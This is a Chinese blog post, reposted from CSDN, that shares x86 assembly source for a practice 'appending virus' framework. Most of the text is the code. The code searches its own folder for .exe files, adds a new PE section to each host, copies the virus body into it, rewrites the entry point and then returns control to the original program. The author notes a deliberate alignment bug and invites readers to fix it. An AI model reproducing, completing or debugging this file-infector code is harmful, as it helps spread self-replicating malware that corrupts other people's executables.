原本这一篇应该和上一篇同时发,但是我的原来代码写得很烂,而且由于我的目标是编写一个“追加病毒”框架,代码又要具备良好的模块特征。这两天改来改去,已经头脑混乱了,所以还是先发文章把原来的代码挂上,有时间再改,我会配上说明。
另外提一句,我把一个bug写再AddSection这个函数里,很多教学码也故意写这个错误,这个错误本意是修改由于PE文件头的修改使“xx值”应适当变化,实际写入的是空位置,这个值不应该变化,这个画蛇添足的行为会导致被感染文件出现一个对齐问题的错误,使系统认为它不是一个有效文件。自己独立写出一个AddSection函数(汇编里不叫函数,应该叫过程),是很有好处的。
如果你水平足够修改这个bug,并不是所有被感染.exe文件都能正常运行,由于这只是一个练习病毒,缺少很多东西,我测试时用的是《格式工厂》,建议使用这个。测试时留个备份,这个测试病毒只会感染自己所在文件夹里.exe文件。
;///////////////////Infect.asm
;打开病毒程序本身
push MAX_PATH
lea eax,szLocalFilePath
push eax
push dword ptr 0h
call aGetModuleFileNameA
push dword ptr 0h
push dword ptr 0h
push OPEN_EXISTING
push dword ptr 0h
push FILE_SHARE_READ
push GENERIC_READ
lea eax,szLocalFilePath
push eax
call aCreateFileA
mov stLocalFile.hFile,eax
push dword ptr 0h
push dword ptr 0h
push dword ptr 0h
push PAGE_READONLY
push NULL
push stLocalFile.hFile
call aCreateFileMappingA
mov stLocalFile.hMap,eax
push dword ptr 0h
push dword ptr 0h
push dword ptr 0h
push FILE_MAP_READ
push stLocalFile.hMap
call aMapViewOfFile
mov stLocalFile.ImageBase,eax
;搜索并打开宿主文件
lea eax,fd
push eax
PushData DataBase,sFindFirstFileA_Param
call aFindFirstFileA
mov hFindFirstFile,eax
mov ecx,3h
Find_NextFile:
push ecx
push dword ptr 0h
push dword ptr 0h
push OPEN_EXISTING
push dword ptr 0h
push FILE_SHARE_READ
push GENERIC_READ OR GENERIC_WRITE
lea eax,fd.cFileName
push eax
call aCreateFileA
TestFile:
cmp eax,INVALID_HANDLE_VALUE
jnz SearchFileEnd
lea eax,fd
push eax
push hFindFirstFile
call aFindNextFileA
pop ecx
loop Find_NextFile
jmp UnloadLocalFile
SearchFileEnd:
mov stHostFile.hFile,eax
push dword ptr NULL
push stHostFile.hFile
call aGetFileSize
mov HostFileSize,eax
add HostFileSize,1000h
push dword ptr NULL
push HostFileSize
push dword ptr 0h
push PAGE_READWRITE
push dword ptr NULL
push stHostFile.hFile
call aCreateFileMappingA
mov stHostFile.hMap,eax
push HostFileSize
push dword ptr 0h
push dword ptr 0h
push FILE_MAP_WRITE or FILE_MAP_READ
push stHostFile.hMap
call aMapViewOfFile
mov stHostFile.ImageBase,eax
;修改PE头,增加PE节,调用My_Function.asm里的 AddSection
;该函数返回新增节首地址,病毒代码写在这里
push dword ptr VirusSize
PushData DataBase,sNewSectionName
push stHostFile.ImageBase
call AddSection
;提取新节的一些关键值
mov NewSectionTable,eax
push dword ptr[eax+14h]
pop Virus_OEP_File_Offset
push dword ptr[eax+0ch]
pop Virus_OEP_Map_Offset
;注入代码
mov edi,Virus_OEP_File_Offset
add edi,stHostFile.ImageBase
mov esi,DataBase
sub esi,offset Data-offset Start
mov ecx,VirusSize
Copy_CodeOfVirus:
lodsb
stosb
loop Copy_CodeOfVirus
mov eax,NewSectionTable
mov ecx,[eax+10h]
sub ecx,dword ptr VirusSize
xor eax,eax
rep stosb
;修改写入新入口点,保存就入口点
mov edi,stHostFile.ImageBase
mov edi,[edi+3ch]
add edi,stHostFile.ImageBase
mov esi,NewSectionTable
push dword ptr[edi+28h]
push dword ptr[esi+0ch]
pop dword ptr[edi+28h]
mov edi,Virus_OEP_File_Offset
add edi,stHostFile.ImageBase
add edi,offset Data-offset Start
add edi,aOEP_HostFile
pop dword ptr[edi]
mov esi,stHostFile.ImageBase
mov esi,[esi+3ch]
add esi,stHostFile.ImageBase
mov eax,[esi+34h]
add [edi],eax
;/////////////////////////////My_Function.asm
My_Get_API_Address proc uses ebx ecx edi esi, Base:dword,sFunctionName:dword
LOCAL NumberOfName:dword
LOCAL AddressOfFunctions:dword
LOCAL AddressOfNames:dword
LOCAL AddressOfOrdinarls:dword
;定位输出表
mov ebx,Base
mov eax,[ebx+3ch]
mov eax,[ebx+eax+78h]
add eax,ebx
;取出输出表中一些有用的值
mov ebx,[eax+18h]
mov NumberOfName,ebx
mov ebx,[eax+1ch]
add ebx,Base
mov AddressOfFunctions,ebx
mov ebx,[eax+20h]
add ebx,Base
mov AddressOfNames,ebx
mov ebx,[eax+24h]
add ebx,Base
mov AddressOfOrdinarls,ebx
;根据函数名找出函数ID
xor eax,eax
mov edi,AddressOfNames
mov ecx,NumberOfName
LoopNumberOfName:
mov esi,sFunctionName
push eax
mov ebx,[edi]
add ebx,Base
Match_API:
mov al,byte ptr[ebx]
cmp al,[esi]
jnz Not_Match
or al,0h
jz GetKernel_API_Index_Found
inc ebx
inc esi
jmp Match_API
Not_Match:
pop eax
inc eax
add edi,4h
loop LoopNumberOfName
GetKernel_API_Index_Found:
pop eax
;用函数ID找出函数入口点
Get_API_Address:
mov ebx,AddressOfOrdinarls
movzx eax,word ptr[ebx+eax*2]
imul eax,4h
add eax,AddressOfFunctions
mov eax,[eax]
add eax,Base
ret
My_Get_API_Address endp
AddSection proc uses ebx ecx edi esi, ImageBase:LPVOID,sSectionName:LPVOID,dwSectionSize:DWORD
LOCAL pNt_Header:dword
LOCAL FileAlignment:dword
LOCAL MapAlignment:dword
;定位NT头
mov esi,ImageBase
mov esi,[esi+3ch]
add esi,ImageBase
mov pNt_Header,esi
;取NT头的一些值FileAlignment、SectionAlignment、NumberOfSection,且NumberOfSection加一
movzx ecx,word ptr[esi+06h]
inc dword ptr [esi+06h]
push dword ptr[esi+38h]
pop MapAlignment
push dword ptr[esi+3ch]
pop FileAlignment
;到新区块表其实地址
mov eax,sizeof IMAGE_SECTION_HEADER
mul ecx
add esi,eax
add esi,sizeof IMAGE_NT_HEADERS
;////////////////////////////////向新区块表写入数据
;写入name:节名称
push esi
lea edi, [esi]
mov esi,sSectionName
mov ecx,8h
CopySectionNameLoop:
lodsb
stosb
loop CopySectionNameLoop
pop esi
;写入VirtualSize
push dwSectionSize
pop dword ptr[esi+08h]
;写入VirtualAddress:镜像相当虚拟地址
push esi
sub esi,sizeof IMAGE_SECTION_HEADER
push MapAlignment
push dword ptr[esi+08h]
call PE_Align
add eax,[esi+0ch]
pop esi
mov [esi+0ch],eax
;写入SizeOfRawData:文件对齐后大小
push FileAlignment
push dwSectionSize
call PE_Align
mov [esi+10h],eax
;写入PointerToRawData
push esi
sub esi,sizeof IMAGE_SECTION_HEADER
mov eax,[esi+10h]
add eax,[esi+14h]
pop esi
mov [esi+14h],eax
;写入PointerToRelocation、PointerToLinenumbers、NumberOfReloations、NumberOfLinenumbers
;:对Exe非调试文件无意义,写为0
xor eax,eax
mov [esi+18h],eax
mov [esi+1ch],eax
mov [esi+20h],ax
mov [esi+22h],ax
;写入Charcteristics:属性
push 60000020h
pop dword ptr[esi+24h]
;////////////////////////////新节表写完,在修改NT头
mov edi,pNt_Header
mov eax,[esi+10h]
add [edi+50h],eax
mov eax,sizeof IMAGE_SECTION_HEADER
add [edi+54h],eax
;返回新节表位置
mov eax,esi
ret
endp
PE_Align proc uses ecx edx, dwTarNum : DWORD, dwAlignTo : DWORD
mov ecx, dwAlignTo
mov eax, dwTarNum
xor edx, edx
div ecx
cmp edx, 0
jz AlreadyAligned
inc eax
AlreadyAligned:
mul ecx
ret
PE_Align endp
;/////////////////////////////////Destory.asm
DestoryModule:
push MB_OK
PushData DataBase,sCaption
PushData DataBase,sContext
push NULL
call aMessageBoxA
DestoryModule_End:
;////////////////////////////CleanUp_and_jmp.asm
push stHostFile.ImageBase
call aUnmapViewOfFile
push stHostFile.hMap
call aCloseHandle
push stHostFile.hFile
call aCloseHandle
UnloadLocalFile:
push stLocalFile.ImageBase
call aUnmapViewOfFile
push stLocalFile.hMap
call aCloseHandle
push stLocalFile.hFile
call aCloseHandle
mov eax,DataBase
add eax,aOEP_HostFile
jmp dword ptr[eax]
;////////////////////////////My_Macro.asm
PE_FileInformation struct
hFile HANDLE 0h
hMap HANDLE 0h
ImageBase LPVOID 0h
PE_FileInformation ends
PushData macro Base,OffsetAddress
mov eax,Base
add eax,OffsetAddress
push eax
ENDM
Using_API_LoadLibraryA macro Value,Base,OffsetAddress
PushData Base,OffsetAddress
call aLoadLibraryA
mov Value,eax
ENDM
Using_API_GetProcAddress macro Value,Base,OffsetAddress,hDLL
PushData Base,OffsetAddress
Push hDLL
call aGetProcAddress
mov Value,eax
ENDM
本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/yangbostar/archive/2010/10/30/5975966.aspx
上传的附件: